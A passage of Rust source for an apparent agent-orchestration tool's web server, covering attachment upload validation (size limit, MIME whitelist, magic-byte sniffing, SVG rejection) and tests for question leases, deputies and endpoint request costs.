11028 return Ok(builtin_avatar(persona::DEFAULT_ID));
11029 }
11030 let Some(icon) = icon
11031 .as_deref()
11032 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11033 else {
11034 return Ok(builtin_avatar(&wanted));
11035 };
11036 let Some(found) = found else {
11037 return Ok(raster_or_builtin(
11038 Some(icon),
11039 persona_icon::builtin_svg(&wanted),
11040 ));
11041 };
11042 match persona_icon::load(icon) {
11043 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11044 let mut res = attachment_response(mime, bytes);
11045 res.headers_mut().insert(
11046 header::CACHE_CONTROL,
11047 header::HeaderValue::from_static("no-cache"),
11048 );
11049 Ok(res)
11050 }
11051 Ok((mime, _)) => {
11052 tracing::warn!(
11053 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11054 found.id
11055 );
11056 Ok(builtin_avatar(&found.id))
11057 }
11058 Err(e) => {
11059 tracing::warn!(
11060 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11061 found.id
11062 );
11063 Ok(builtin_avatar(&found.id))
11064 }
11065 }
11066 })
11067 .await
11068}
11069
11070fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11081 if data.len() > ATTACHMENT_MAX_BYTES {
11082 return Err(ApiError::bad_request(format!(
11083 "attachment is {} bytes, over the {} MiB limit",
11084 data.len(),
11085 ATTACHMENT_MAX_BYTES / (1024 * 1024)
11086 ))
11087 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11088 }
11089 if data.is_empty() {
11090 return Err(ApiError::bad_request("attachment is empty"));
11091 }
11092 let declared = declared_mime(headers)?;
11093 match sniffed_mime(data) {
11094 Some(sniffed) if sniffed == declared => Ok(declared),
11095 Some(sniffed) => Err(ApiError::bad_request(format!(
11096 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11097 ))),
11098 None => Err(ApiError::bad_request(
11099 "the file's bytes do not match any accepted image format",
11100 )),
11101 }
11102}
11103
11104fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11108 let raw = headers
11109 .get(header::CONTENT_TYPE)
11110 .and_then(|v| v.to_str().ok())
11111 .unwrap_or("")
11112 .split(';')
11113 .next()
11114 .unwrap_or("")
11115 .trim()
11116 .to_ascii_lowercase();
11117 ATTACHMENT_MIME_WHITELIST
11118 .iter()
11119 .find(|&&m| m == raw)
11120 .copied()
11121 .ok_or_else(|| {
11122 if raw == "image/svg+xml" {
11123 ApiError::bad_request(
11124 "SVG is not accepted: it can carry active content (e.g. a <script>), \
11125 not just a picture",
11126 )
11127 } else if raw.is_empty() {
11128 ApiError::bad_request("Content-Type is required for an attachment upload")
11129 } else {
11130 ApiError::bad_request(format!(
11131 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11132 image/gif or image/webp"
11133 ))
11134 }
11135 })
11136}
11137
11138fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11141 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11142 Some("image/png")
11143 } else if data.starts_with(b"\xff\xd8\xff") {
11144 Some("image/jpeg")
11145 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11146 Some("image/gif")
11147 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11148 Some("image/webp")
11149 } else {
11150 None
11151 }
11152}
11153
11154fn filename_header(headers: &HeaderMap) -> String {
11160 headers
11161 .get(FILENAME_HEADER)
11162 .and_then(|v| v.to_str().ok())
11163 .map(str::trim)
11164 .filter(|s| !s.is_empty())
11165 .unwrap_or("attachment")
11166 .to_owned()
11167}
11168
11169fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11176 let content_type = ATTACHMENT_MIME_WHITELIST
11177 .iter()
11178 .find(|&&m| m == mime)
11179 .copied()
11180 .unwrap_or("application/octet-stream");
11181 (
11182 [
11183 (header::CONTENT_TYPE, content_type),
11184 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11185 ],
11186 body,
11187 )
11188 .into_response()
11189}
11190
11191async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11199 let repo = repo.to_path_buf();
11200 blocking(move || {
11201 let (cfg, _) = Config::discover(&repo, None)?;
11202 Ok(cfg)
11203 })
11204 .await
11205}
11206
11207fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11213 let mut hits = ids
11214 .into_iter()
11215 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11216 match (hits.next(), hits.next()) {
11217 (Some(one), None) => Ok(one),
11218 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11219 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11220 "`{prefix}` matches more than one {what}, including {a} and {b}"
11221 ))),
11222 }
11223}
11224
11225#[cfg(test)]
11226mod tests {
11227
11228 #[test]
11229 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11230 let dir = tempfile::tempdir().unwrap();
11231 let store = ask::Questions::at(dir.path().join("questions"));
11232 let mut q = Question::new(
11233 "task".to_owned(),
11234 "conduct".to_owned(),
11235 "conduct".to_owned(),
11236 "choose".to_owned(),
11237 String::new(),
11238 vec!["keep".to_owned()],
11239 );
11240 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11241 q.say("why?").unwrap();
11242 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11243 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11244 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11245 store.put(&mut q).unwrap();
11246 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11247 assert_eq!(store.count_needs_owner(), 1);
11248 store.beat(&q.id, ask::WaiterKind::Deputy);
11249 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11250 assert_eq!(store.count_needs_owner(), 0);
11251 let mut stale = store.read_lease(&q.id).unwrap();
11252 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11253 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11254 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11255 assert!(view.deputy_exhausted);
11256 assert!(view.waiting_on_agent);
11257 assert_eq!(view.question.choices, ["keep"]);
11258 store.drop_lease(&q.id);
11259 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11260 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11261 }
11262
11263 #[test]
11264 fn holder_reads_the_lease_not_the_record() {
11265 let mut q = Question::new(
11266 "run".to_owned(),
11267 "implement".to_owned(),
11268 "impl-A".to_owned(),
11269 "which?".to_owned(),
11270 String::new(),
11271 Vec::new(),
11272 );
11273 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11274 q.cwd = Some("/tmp".to_owned());
11275 assert_eq!(holder_of(&q, None), Some("nobody"));
11276 let beat = |kind, ago: i64| ask::Lease {
11277 kind,
11278 pid: 1,
11279 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11280 .unwrap(),
11281 };
11282 let fresh = beat(ask::WaiterKind::Asker, 1);
11283 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11284 let daemon = beat(ask::WaiterKind::Daemon, 1);
11285 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11286 let stale = beat(ask::WaiterKind::Asker, 3600);
11287 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11288
11289 let mut c = Question::new(
11292 "task".to_owned(),
11293 crate::conduct::NODE.to_owned(),
11294 "conduct".to_owned(),
11295 "which?".to_owned(),
11296 String::new(),
11297 Vec::new(),
11298 );
11299 assert_eq!(holder_of(&c, None), Some("nobody"));
11300 c.cwd = Some("/tmp".to_owned());
11301 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11302 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11303 let deputy = beat(ask::WaiterKind::Deputy, 1);
11304 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11305 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11306
11307 let mut r = Question::new(
11309 String::new(),
11310 crate::bump::NOTICE_NODE.to_owned(),
11311 "release-watch".to_owned(),
11312 "stuck?".to_owned(),
11313 String::new(),
11314 vec!["hold".to_owned()],
11315 );
11316 assert_eq!(holder_of(&r, None), Some("nobody"));
11317 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11318 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11319 r.deputy = None;
11321 r.seat = "bump".to_owned();
11322 assert_eq!(holder_of(&r, None), None);
11323
11324 let mut m = Question::new(
11327 "run".to_owned(),
11328 crate::land::APPROVAL_NODE.to_owned(),
11329 "land".to_owned(),
11330 "merge?".to_owned(),
11331 String::new(),
11332 Vec::new(),
11333 );
11334 assert_eq!(holder_of(&m, None), Some("nobody"));
11335 assert_eq!(
11336 holder_of(&m, Some(&fresh)),
11337 Some("asker"),
11338 "a live explicit wait is a listener even before a deputy is attached"
11339 );
11340 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11341 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11342 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11343 assert_eq!(holder_of(&m, None), Some("nobody"));
11344 }
11345
11346 fn stub_config() -> Config {
11347 Config {
11350 agents: vec![crate::config::AgentSpec {
11351 id: "stub".to_owned(),
11352 kind: AgentKind::Command,
11353 model: None,
11354 command: vec!["true".to_owned()],
11355 extra_args: Vec::new(),
11356 env: Default::default(),
11357 prompt_delivery: None,
11358 max_turn_secs: None,
11359 }],
11360 ..Config::default()
11361 }
11362 }
11363
11364 fn plain_question(seat: &str) -> Question {
11365 Question::new(
11366 String::new(),
11367 "n".to_owned(),
11368 seat.to_owned(),
11369 "s".to_owned(),
11370 String::new(),
11371 Vec::new(),
11372 )
11373 }
11374
11375 #[test]
11376 fn deputies_enabled_follows_the_config() {
11377 let on = stub_config();
11378 assert!(crate::deputy::can_start(Some(&on), ""));
11379 assert!(crate::deputy::can_start(Some(&on), "stub"));
11380 let mut off = on.clone();
11381 off.daemon.max_deputies = 0;
11382 assert!(!crate::deputy::can_start(Some(&off), ""));
11383 let mut empty = on;
11384 empty.agents.clear();
11385 assert!(!crate::deputy::can_start(Some(&empty), ""));
11386 assert!(!crate::deputy::can_start(None, ""));
11387 }
11388
11389 #[test]
11390 fn question_views_load_the_config_once() {
11391 let dir = TempDir::new().unwrap();
11392 let store = ask::Questions::at(dir.path().to_path_buf());
11393 let mut with_deputy = plain_question("b");
11394 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11395 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11396
11397 let calls = std::cell::Cell::new(0usize);
11398 let views = question_views(qs.clone(), &store, || {
11399 calls.set(calls.get() + 1);
11400 Some(stub_config())
11401 });
11402 assert_eq!(calls.get(), 1);
11403 assert_eq!(views.len(), 3);
11404 for (v, q) in views.iter().zip(&qs) {
11405 assert_eq!(
11406 v.deputies_enabled,
11407 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11408 );
11409 }
11410
11411 let views = question_views(qs, &store, || None);
11412 assert!(views.iter().all(|v| !v.deputies_enabled));
11413
11414 let calls = std::cell::Cell::new(0usize);
11415 let views = question_views(Vec::new(), &store, || {
11416 calls.set(calls.get() + 1);
11417 None
11418 });
11419 assert!(views.is_empty());
11420 assert_eq!(calls.get(), 0);
11421 }
11422
11423 use pretty_assertions::assert_eq;
11424 use serde_json::Value;
11425 use tempfile::TempDir;
11426 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11427
11428 use super::*;
11429 use crate::config::Config;
11430 use crate::queue::Source;
11431
11432 const SETTLE_STEPS: usize = 3_000;
11443
11444 struct Fixture {
11450 home: TempDir,
11451 addr: SocketAddr,
11452 }
11453
11454 impl Fixture {
11455 async fn start() -> Self {
11456 Self::with_loop(launch_idle).await
11457 }
11458
11459 async fn with_loop(launch: Launch) -> Self {
11461 let home = TempDir::new().expect("temp home");
11462 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11463 Self { home, addr }
11464 }
11465
11466 async fn with_repo(repo: PathBuf) -> Self {
11470 let home = TempDir::new().expect("temp home");
11471 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11472 Self { home, addr }
11473 }
11474
11475 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11478 let home = TempDir::new().expect("temp home");
11479 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11480 Self { home, addr }
11481 }
11482
11483 async fn serve(
11484 home: &FsPath,
11485 repo: PathBuf,
11486 launch: Launch,
11487 machine: Option<PathBuf>,
11488 ) -> SocketAddr {
11489 let queue = Queue::at(home.join("queue"));
11490 let runs = home.join("runs");
11491 std::fs::create_dir_all(&runs).expect("runs dir");
11492 let worktrees = home.join("wt").join("magi");
11493 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11494 let ui = Ui::new(
11495 queue,
11496 Questions::at(home.join("questions")),
11497 Talks::at(home.join("talks")),
11498 runs,
11499 home.to_path_buf(),
11500 repo,
11501 )
11502 .with_worktrees_root(worktrees)
11503 .with_machine_config(machine)
11504 .with_launch(launch);
11505 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11506 .await
11507 .expect("bind loopback");
11508 let addr = listener.local_addr().expect("local addr");
11509 tokio::spawn(async move {
11510 let router = ui
11511 .router()
11512 .layer(axum::middleware::from_fn(request_cost::observe));
11513 let _ = axum::serve(listener, router).await;
11514 });
11515 addr
11516 }
11517
11518 fn queue(&self) -> Queue {
11519 Queue::at(self.home.path().join("queue"))
11520 }
11521
11522 fn questions(&self) -> Questions {
11523 Questions::at(self.home.path().join("questions"))
11524 }
11525
11526 fn talks(&self) -> Talks {
11527 Talks::at(self.home.path().join("talks"))
11528 }
11529
11530 fn runs(&self) -> PathBuf {
11531 self.home.path().join("runs")
11532 }
11533
11534 async fn get(&self, path: &str) -> Res {
11535 request(self.addr, "GET", path, None).await
11536 }
11537
11538 async fn head(&self, path: &str) -> Res {
11543 request(self.addr, "HEAD", path, None).await
11544 }
11545
11546 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11547 request(self.addr, "POST", path, body).await
11548 }
11549
11550 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11551 request_with(self.addr, "GET", path, None, extra).await
11552 }
11553
11554 async fn delete(&self, path: &str) -> Res {
11555 request(self.addr, "DELETE", path, None).await
11556 }
11557
11558 async fn put(&self, path: &str, body: &str) -> Res {
11559 request(self.addr, "PUT", path, Some(body)).await
11560 }
11561
11562 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11564 request_bytes(self.addr, path, headers, body).await
11565 }
11566 }
11567
11568 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11571 let tmp = TempDir::new().unwrap();
11572 let mut repos = Vec::new();
11573 for name in ["one", "two"] {
11574 let repo = tmp.path().join(name);
11575 let origin = tmp.path().join(format!("{name}.git"));
11576 std::fs::create_dir_all(&repo).unwrap();
11577 crate::git::git(&repo, &["init", "-b", "main"])
11578 .await
11579 .unwrap();
11580 std::fs::write(
11581 repo.join("magi.toml"),
11582 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11583 )
11584 .unwrap();
11585 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11586 crate::git::git(
11587 &repo,
11588 &[
11589 "-c",
11590 "user.name=fixture",
11591 "-c",
11592 "user.email=fixture@example.invalid",
11593 "commit",
11594 "-m",
11595 "fixture",
11596 ],
11597 )
11598 .await
11599 .unwrap();
11600 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11601 .await
11602 .unwrap();
11603 crate::git::git(
11604 &repo,
11605 &["remote", "add", "origin", origin.to_str().unwrap()],
11606 )
11607 .await
11608 .unwrap();
11609 crate::git::git(&repo, &["push", "origin", "main"])
11610 .await
11611 .unwrap();
11612 crate::git::git(
11613 &repo,
11614 &[
11615 "symbolic-ref",
11616 "refs/remotes/origin/HEAD",
11617 "refs/remotes/origin/main",
11618 ],
11619 )
11620 .await
11621 .unwrap();
11622 let (cfg, _) = Config::discover(&repo, None).unwrap();
11623 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11624 repos.push(repo);
11625 }
11626 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11627 (tmp, repos)
11628 }
11629
11630 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11631 let (tmp, repos) = performance_repositories().await;
11632 let machine = tmp.path().join("machine.toml");
11633 std::fs::write(&machine, "").unwrap();
11634 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11635 (tmp, repos, fx)
11636 }
11637
11638 fn seed_performance(
11639 fx: &Fixture,
11640 repos: &[PathBuf; 2],
11641 questions: usize,
11642 runs: usize,
11643 items: usize,
11644 ) {
11645 for i in fx.questions().list().len()..questions {
11647 let mut question = Question::new(
11648 "20261001-000000-0000".into(),
11649 "implement".into(),
11650 "impl-A".into(),
11651 format!("question {i}"),
11652 "context".into(),
11653 vec!["yes".into(), "no".into()],
11654 );
11655 question.id = format!("20261003-000000-{i:04x}");
11656 fx.questions().put(&mut question).unwrap();
11657 }
11658 for i in run_ids(&fx.runs()).len()..runs {
11659 write_run_repo(
11660 &fx.runs(),
11661 &format!("20261001-000000-{i:04x}"),
11662 RunStatus::Ready,
11663 repos[i % 2].to_str().unwrap(),
11664 );
11665 }
11666 for i in fx.talks().list().len()..items {
11667 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11668 let mut talk = fx.talks().get(&id).unwrap();
11669 talk.repo = repos[i % 2].clone();
11670 fx.talks().put(&mut talk).unwrap();
11671 let mut task = crate::queue::Task::new(
11672 format!("task {i}"),
11673 "instruction".into(),
11674 repos[i % 2].clone(),
11675 crate::queue::Source::Agent {
11676 run: id,
11677 node: crate::queue::CHAT_NODE.into(),
11678 },
11679 );
11680 task.id = format!("20261004-000000-{i:04x}");
11681 fx.queue().put(&mut task).unwrap();
11682 if i < crate::notices::CAP {
11684 Notices::at(fx.home.path().join("notifications"))
11685 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11686 .unwrap();
11687 }
11688 }
11689 assert_eq!(fx.questions().list().len(), questions);
11690 assert_eq!(run_ids(&fx.runs()).len(), runs);
11691 assert_eq!(fx.talks().list().len(), items);
11692 assert_eq!(fx.queue().list().len(), items);
11693 assert_eq!(
11694 Notices::at(fx.home.path().join("notifications"))
11695 .list()
11696 .len(),
11697 items.min(crate::notices::CAP)
11698 );
11699 }
11700
11701 #[tokio::test]
11702 async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11703 let home = TempDir::new().unwrap();
11704 let root = home.path().canonicalize().unwrap();
11705 let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11706 let fx = Fixture { home, addr };
11707 let repo = root.as_path().join("archive-repo");
11708 std::fs::create_dir(&repo).unwrap();
11709 crate::git::git(&repo, &["init", "-b", "main"])
11710 .await
11711 .unwrap();
11712 crate::git::git(&repo, &["config", "user.name", "Fixture"])
11713 .await
11714 .unwrap();
11715 crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11716 .await
11717 .unwrap();
11718 crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11719 .await
11720 .unwrap();
11721 std::fs::write(repo.join("source"), "base").unwrap();
11722 crate::git::git(&repo, &["add", "."]).await.unwrap();
11723 crate::git::git(&repo, &["commit", "-m", "base"])
11724 .await
11725 .unwrap();
11726 let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11727 std::fs::write(repo.join("source"), "archived review").unwrap();
11728 crate::git::git(&repo, &["commit", "-am", "review"])
11729 .await
11730 .unwrap();
11731 let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11732 let mut config = Config::default();
11733 config.graph.worktree_root = Some(root.as_path().join("copies"));
11734 let mut state = RunState::new(
11735 repo.clone(),
11736 "main".into(),
11737 base.clone(),
11738 "archive".into(),
11739 config,
11740 );
11741 state.id = "20260101-000000-ef05".into();
11742 state.status = RunStatus::Ready;
11743 state.save_under(root.as_path()).unwrap();
11744 let evidence =
11745 crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11746 .await
11747 .unwrap();
11748 let base_evidence =
11749 crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11750 .await
11751 .unwrap();
11752 let source = state.worktree_root().join("review-1");
11753 let mut contents = std::collections::BTreeMap::new();
11754 contents.insert(
11755 repo.join("logs/HEAD"),
11756 format!("{base} {head} fixture\n").into_bytes(),
11757 );
11758 let record = serde_json::json!({
11759 "version":1, "run":state.id, "source":source, "head":head,
11760 "evidence":evidence, "admin":{}, "admin_contents":contents,
11761 "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11762 });
11763 std::fs::write(
11764 fx.runs()
11765 .join(&state.id)
11766 .join("artifacts/eviction-review-1.json"),
11767 serde_json::to_vec(&record).unwrap(),
11768 )
11769 .unwrap();
11770 std::fs::remove_dir_all(&repo).unwrap();
11771 let url = format!("/api/runs/{}/seat-evidence", state.id);
11772 let list = fx.get(&url).await;
11773 assert_eq!(list.status, 200, "{}", list.body);
11774 assert_eq!(list.json()[&head], "review-1");
11775 let patch = fx.get(&format!("{url}/{head}")).await;
11776 assert_eq!(patch.status, 200, "{}", patch.body);
11777 assert!(patch.body.contains("+archived review"));
11778 assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11779 std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11780 assert_eq!(fx.get(&url).await.status, 404);
11781 assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11782 }
11783
11784 fn request_counts(res: &Res) -> (usize, usize) {
11785 assert_eq!(res.status, 200, "{}", res.body);
11786 (
11787 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11788 res.header("x-test-git").unwrap().parse().unwrap(),
11789 )
11790 }
11791
11792 #[tokio::test]
11793 async fn list_request_cost_is_independent_of_record_count() {
11794 let (_tmp, repos, fx) = performance_fixture().await;
11795 let mut previous = None;
11796 for n in [4, 60] {
11797 seed_performance(&fx, &repos, n, n, n);
11798 let mut costs = Vec::new();
11799 for (path, discoveries) in [
11800 ("/api/questions", 1),
11801 ("/api/talks", 0),
11802 ("/api/health", 0),
11803 ("/api/stats", 1),
11804 ] {
11805 for repo in &repos {
11808 let cache = repo.join(".git/magi/config");
11809 if cache.exists() {
11810 std::fs::remove_dir_all(cache).unwrap();
11811 }
11812 }
11813 let cost = request_counts(&fx.get(path).await);
11814 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11815 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11816 assert!(
11817 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11818 "{path}: {cost:?}"
11819 );
11820 costs.push(cost);
11821 }
11822 if let Some(previous) = previous {
11823 assert_eq!(costs, previous);
11824 }
11825 previous = Some(costs);
11826 }
11827 }
11831
11832 #[tokio::test]
11835 async fn list_handler_cost_without_transport() {
11836 let (_tmp, repos) = performance_repositories().await;
11837 let fx = Fixture {
11838 home: TempDir::new().unwrap(),
11839 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11840 };
11841 let ui = Arc::new(
11842 Ui::new(
11843 fx.queue(),
11844 fx.questions(),
11845 fx.talks(),
11846 fx.runs(),
11847 fx.home.path().to_path_buf(),
11848 repos[0].clone(),
11849 )
11850 .with_worktrees_root(fx.home.path().join("wt")),
11851 );
11852 let mut previous = None;
11853 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11854 seed_performance(&fx, &repos, n, runs, items);
11855 let mut costs = Vec::new();
11856 for endpoint in ["questions", "talks", "health", "stats"] {
11857 for repo in &repos {
11858 let cache = repo.join(".git/magi/config");
11859 if cache.exists() {
11860 std::fs::remove_dir_all(cache).unwrap();
11861 }
11862 }
11863 let (_, cost) = request_cost::measure(async {
11864 match endpoint {
11865 "questions" => {
11866 let _ = questions_list(State(ui.clone())).await.unwrap();
11867 }
11868 "talks" => {
11869 let _ = talks_list(
11870 State(ui.clone()),
11871 Query(ListQuery {
11872 limit: None,
11873 ids: None,
11874 }),
11875 header::HeaderMap::new(),
11876 )
11877 .await
11878 .unwrap();
11879 }
11880 "health" => {
11881 let _ = health(State(ui.clone())).await.unwrap();
11882 }
11883 _ => {
11884 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11885 .await
11886 .unwrap();
11887 }
11888 }
11889 })
11890 .await;
11891 eprintln!("{endpoint} handler N={n}: {cost:?}");
11892 assert_eq!(
11893 cost.0,
11894 if matches!(endpoint, "talks" | "health") {
11895 0
11896 } else {
11897 1
11898 },
11899 "{endpoint}"
11900 );
11901 assert!(
11902 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11903 "{endpoint}: {cost:?}"
11904 );
11905 costs.push(cost);
11906 }
11907 if let Some(previous) = previous {
11908 assert_eq!(costs, previous);
11909 }
11910 previous = Some(costs);
11911 }
11912 }
11913
11914 #[tokio::test]
11915 async fn list_request_cost_scopes_do_not_mix() {
11916 let (_tmp, repos, fx) = performance_fixture().await;
11917 seed_performance(&fx, &repos, 10, 0, 10);
11918 let (questions, talks, notices) = tokio::join!(
11919 fx.get("/api/questions"),
11920 fx.get("/api/talks"),
11921 fx.get("/api/notifications")
11922 );
11923 assert_eq!(request_counts(&questions).0, 1);
11924 assert_eq!(request_counts(&talks), (0, 0));
11927 assert_eq!(request_counts(¬ices), (0, 0));
11928 }
11929
11930 #[tokio::test]
11931 async fn list_endpoints_large_home_responses() {
11932 check_large_home_endpoints(false).await;
11933 }
11934
11935 #[tokio::test]
11936 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11937 async fn list_endpoints_large_home_ceiling() {
11938 check_large_home_endpoints(true).await;
11939 }
11940
11941 async fn check_large_home_endpoints(timed: bool) {
11942 let (_tmp, repos, fx) = performance_fixture().await;
11943 seed_performance(&fx, &repos, 200, 300, 400);
11944 let mut failures = Vec::new();
11945 for path in [
11948 "/",
11949 "/app.js",
11950 "/app.css",
11951 "/api/questions",
11952 "/api/runs?limit=300",
11953 "/api/queue",
11954 "/api/talks",
11955 "/api/notifications",
11956 "/api/health",
11957 "/api/stats",
11958 "/api/loop",
11959 "/api/settings",
11960 "/api/repos",
11961 ] {
11962 let start = std::time::Instant::now();
11963 let result = if timed {
11964 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11965 } else {
11966 Ok(fx.get(path).await)
11967 };
11968 let elapsed = start.elapsed();
11969 eprintln!("{path}: {elapsed:?}");
11970 match result {
11971 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11972 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11973 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11974 }
11975 }
11976 assert!(failures.is_empty(), "{}", failures.join("\n"));
11977 }
11978
11979 struct Res {
11980 status: u16,
11981 headers: String,
11982 head: String,
11987 body: String,
11988 bytes: Vec<u8>,
11992 }
11993
11994 impl Res {
11995 fn json(&self) -> Value {
11996 serde_json::from_str(&self.body)
11997 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11998 }
11999
12000 fn header(&self, name: &str) -> Option<&str> {
12002 self.head.lines().find_map(|line| {
12003 let (key, value) = line.split_once(':')?;
12004 key.trim()
12005 .eq_ignore_ascii_case(name)
12006 .then(|| value.trim_start().trim_end_matches('\r'))
12007 })
12008 }
12009 }
12010
12011 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12014 request_with(addr, method, path, body, &[]).await
12015 }
12016
12017 async fn request_with(
12021 addr: SocketAddr,
12022 method: &str,
12023 path: &str,
12024 body: Option<&str>,
12025 extra: &[(&str, &str)],
12026 ) -> Res {
12027 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12028 for (name, value) in extra {
12029 head.push_str(&format!("{name}: {value}\r\n"));
12030 }
12031 if let Some(body) = body {
12032 head.push_str("Content-Type: application/json\r\n");
12033 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12034 }
12035 head.push_str("\r\n");
12036 if let Some(body) = body {
12037 head.push_str(body);
12038 }
12039 let mut socket = tokio::net::TcpStream::connect(addr)
12040 .await
12041 .expect("connect to the test server");
12042 socket
12043 .write_all(head.as_bytes())
12044 .await
12045 .expect("write request");
12046 let mut raw = Vec::new();
12047 socket.read_to_end(&mut raw).await.expect("read response");
12048 let split = raw
12051 .windows(4)
12052 .position(|w| w == b"\r\n\r\n")
12053 .expect("a header block");
12054 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12055 let bytes = raw[split + 4..].to_vec();
12056 let status = head
12057 .lines()
12058 .next()
12059 .and_then(|line| line.split_whitespace().nth(1))
12060 .and_then(|code| code.parse().ok())
12061 .expect("a status line");
12062 Res {
12063 status,
12064 headers: head.to_lowercase(),
12065 head,
12066 body: String::from_utf8_lossy(&bytes).into_owned(),
12067 bytes,
12068 }
12069 }
12070
12071 async fn request_bytes(
12077 addr: SocketAddr,
12078 path: &str,
12079 headers: &[(&str, &str)],
12080 body: &[u8],
